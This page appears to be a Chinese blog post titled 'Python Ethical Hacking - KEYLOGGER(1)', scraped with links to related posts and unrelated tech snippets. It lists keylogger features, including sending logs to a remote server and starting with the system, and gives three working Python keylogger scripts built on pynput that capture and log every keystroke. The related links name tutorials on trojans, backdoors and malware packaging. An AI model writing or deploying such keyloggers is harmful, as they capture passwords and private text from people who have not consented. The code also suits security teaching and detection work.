A program that records keys pressed on the keyboard.

Common features:

Store logs locally(local keyloggers).

  • Report logs to an email or remote server(remote keyloggers).
  • Log screenshots.
  • Start with system startup.

Third-Party Module: pynput

pip install pynput

The simple Python Keylogger code:

#!/usr/bin/env python
import pynput.keyboard def process_key_press(key):
print(key) keyboard_listener = pynput.keyboard.Listener(on_press = process_key_press)
with keyboard_listener:
keyboard_listener.join()

Using global variables to log all the key log.

#!/usr/bin/env python
import pynput.keyboard log = ""
def process_key_press(key):
global log
log = log + str(key)
print(log) keyboard_listener = pynput.keyboard.Listener(on_press = process_key_press)
with keyboard_listener:
keyboard_listener.join()

Logging special Keys with polishing the Python code.

#!/usr/bin/env python
import pynput.keyboard log = ""
def process_key_press(key):
global log
try:
log = log + str(key.char)
except AttributeError:
if key == key.space:
log = log + " "
else:
log = log + " " + str(key) + " "
print(log) keyboard_listener = pynput.keyboard.Listener(on_press = process_key_press)
with keyboard_listener:
keyboard_listener.join()

Python Ethical Hacking - KEYLOGGER(1)的更多相关文章

  1. Python Ethical Hacking - KEYLOGGER(3)

    Object-Oriented Programming Keylogger Classes Way of modeling program(blueprint). Logically group fu ...

  2. Python Ethical Hacking - KEYLOGGER(2)

    Report function: Run in the background. Don't interrupt program execution. Every X seconds, send the ...

  3. Python Ethical Hacking - TROJANS Analysis(1)

    TROJANS A trojan is a file that looks and functions as a normal file(image, pdf, song ..etc). When e ...

  4. Python Ethical Hacking - Malware Packaging(2)

    PACKAGING FOR WINDOWS FROM LINUX For best results package the program from the same OS as the target ...

  5. Python Ethical Hacking - BACKDOORS(8)

    Cross-platform hacking All programs we wrote are pure python programs They do not rely on OS-specifi ...

  6. Python Ethical Hacking - BACKDOORS(1)

    REVERSE_BACKDOOR Access file system. Execute system commands. Download files. Upload files. Persiste ...

  7. Python Ethical Hacking - Malware Analysis(1)

    WRITING MALWARE Download file. Execute Code. Send Report. Download & Execute. Execute & Repo ...

  8. Python Ethical Hacking - ARP Spoofing

    Typical Network ARP Spoofing Why ARP Spoofing is possible: 1. Clients accept responses even if they ...

  9. Python Ethical Hacking - NETWORK_SCANNER(2)

    DICTIONARIES Similar to lists but use key instead of an index. LISTS List of values/elements, all ca ...

随机推荐

  1. add shell 出现 error: no devices/emulators found

    解决方案: adb kill-server adb reconnect

  2. Fabric网络组织与主节点选举

    一.Fabric网络组织 Fabric网络组织按如下结构组成:Fabric网络-->Channel通道-->组织(成员)-->节点.即整个网络由数个通道组成,每个通道都由多个组织构成 ...

  3. 事务的特性ACID、隔离级别

    1.事务特性ACID 1.1 事务的四大特性 1.原子性(Atomicity) 事务包装的一组sql,要么都执行成功,要么都失败.这些操作是不可分割的. 2.一致性(Consistency) 数据库的 ...

  4. AsyncOperation和SceneManager.LoadSceneAsync协同加载场景

    这篇属于杂记,用于记录不甚理解的AsyncOperation AsyncOperation: //加载进度条 public Silder silder; 加载场景 public void LoginG ...

  5. Java并发编程-Unsafe实现原理与Unsafe应用解析

    前言 Unsafe是位于sun.misc包下的一个类,主要提供一些用于执行低级别.不安全操作的方法,如直接访问系统内存资源.自主管理内存资源等,这些方法在提升Java运行效率.增强Java语言底层资源 ...

  6. Spring7——开发基于注解形式的spring

    开发基于注解形式的spring SpringIOC容器的2种形式: (1)xml配置文件:applicationContext.xml; 存bean:<bean> 取bean: Appli ...

  7. 梳理搭建SSM步骤

    以上全程手撕,如有不足或错误的,请指正!

  8. Flask02-Template

    ## 基础使用 $ vim app/templates/index.html > <html> > <head> > <title>{{title ...

  9. linux crontab 定时任务 邮件问题 及其相关的 dead.letter 问题

    最近开发项目的时候发现公司服务器用root账号登录的时候 一直会提示有新的信件,一直提示一直提示. 联想到另一台服务器上 的dead.letter文件每天都不断的变大  而且在 root家目录里 ,系 ...

  10. CentOS 的数字命令级别

    1    user commands 2    system calls 3    library functions 4    special  files 5     file formats 6 ...